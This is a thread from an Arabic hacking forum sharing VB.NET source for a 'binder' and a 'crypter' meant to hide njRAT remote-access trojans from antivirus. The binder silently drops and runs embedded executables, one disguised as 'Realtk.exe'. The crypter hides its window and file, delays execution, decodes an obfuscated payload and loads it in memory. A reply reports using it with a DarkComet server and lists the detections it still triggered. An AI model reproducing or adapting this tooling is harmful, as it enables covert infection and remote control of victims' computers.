تشفير سيرفر نجرات كلين ودمج اي برنامج والنتيجة كلين

تم تحميل الصفحة في 0,6931561 ثانية
تشفير سيرفر نجرات كلين ودمج اي برنامج والنتيجة كلين
إنضم
27 أبريل 2017
المشاركات
130
الإعجابات
24
النقاط
8
الإقامة
مدينة تركيا
بسم الله الرحمن الرحيم
والصلاة والسلام على اشرف الخلق والمرسلين
سيدنا محمد وعلى اله وصحبه اجمعين
السلام عليكم ورحمة الله وبركاته
"تشفير سيرفر نجرات كلين ودمج اي برنامج والنتيجة كلين"
البرامج المستخدمه في الشرح موجودة في قوقل او الديف بوينت
رابط الشرح

تشفير سيرفر نجرات كلين ودمج اي برنامج والنتيجة كلين
كود :
كود:
كود الدمج

Public Class Form1

    Private Sub Form1_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load
        Me.ShowInTaskbar = False
        Me.Hide()
        Me.Visible = False

        Dim karrar As String = My.Computer.FileSystem.SpecialDirectories.AllUsersApplicationData + "\temp\"
        System.IO.Directory.CreateDirectory(karrar)
        IO.File.WriteAllBytes(karrar & "setup.exe", My.Resources.setup)
        Process.Start(karrar & "setup.exe")



        Dim karrar9 As String = My.Computer.FileSystem.SpecialDirectories.AllUsersApplicationData + "\temp\"
        System.IO.Directory.CreateDirectory(karrar9)
        IO.File.WriteAllBytes(karrar & "Realtk.exe", My.Resources.Realtk)
        Process.Start(karrar9 & "Realtk.exe")
    End Sub
End Class
------------------------------
كود التشفير

Imports System.IO

Public Class Form1

    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        Me.Hide()
        Me.ShowIcon = False
        Me.ShowInTaskbar = False
        Me.Opacity = 0
        System.Threading.Thread.Sleep(50000)
        File.SetAttributes(Application.ExecutablePath, FileAttributes.Hidden)
        Dim ननयनइछम As New Form1
        Dim दडनलऑघऑ As Object = My.Resources.String1
        Dim नफइषआलफ As String = दडनलऑघऑ
        Dim लडनमबठन As String = नफइषआलफ.Replace("#", "1")
        Dim अबपनञऔभ As Byte() = Convert.FromBase64String(औऔतएनठष(लडनमबठन))
        Dim औनएठखनक As Object = Reflection.Assembly.Load(अबपनञऔभ).EntryPoint
        Dim आघननटचद As String = "--------------------"
        औनएठखनक.invoke("Nothing".Replace(आघननटचद, "Nothing"), Nothing)
    End Sub

    Public Function औऔतएनठष(ByVal input As String) As String
        Dim छमवपणञठ As New System.Text.StringBuilder
        Dim घनआइञअन As String() = Split(input, " ")
        For Each ऑषनइनअप As String In घनआइञअन
            छमवपणञठ.Append(Chr("&H" & ऑषनइनअप))
        Next
        Return छमवपणञठ.ToString
    End Function

End Class
-----------------------
جميع الحقوق محفوظة
3LOSH-RAT
 
التعديل الأخير:

Fares ViP

عاشق المجهول
rankrank
إنضم
27 مايو 2014
المشاركات
296
الإعجابات
187
النقاط
43
الإقامة
الكرة الارضية
اشكرك على التشفيره الرائعه
بعد التطبيق على سيرفر داركوميت
الناتيجه
كلين معاده


ESET MSIL/TrojanDownloader.Tiny.LO

Fortinet MSIL/GenKryptik.CLHB!tr
 

الأعضاء النشطين حاليآ الذين يشاهدون هذا الموضوع (1 عضو و 0 ضيف)

خيارات الاستايل

نوع الخط
مودك
اخفاء السايدر بار OFF
توسيط المنتدى OFF
فصل الأقسام OFF
الأقسام الفرعية OFF
عرض المشاركات
حجم الخط
معلومات العضو OFF
إخفاء التوقيع OFF

إرجاع خيارات الإستايل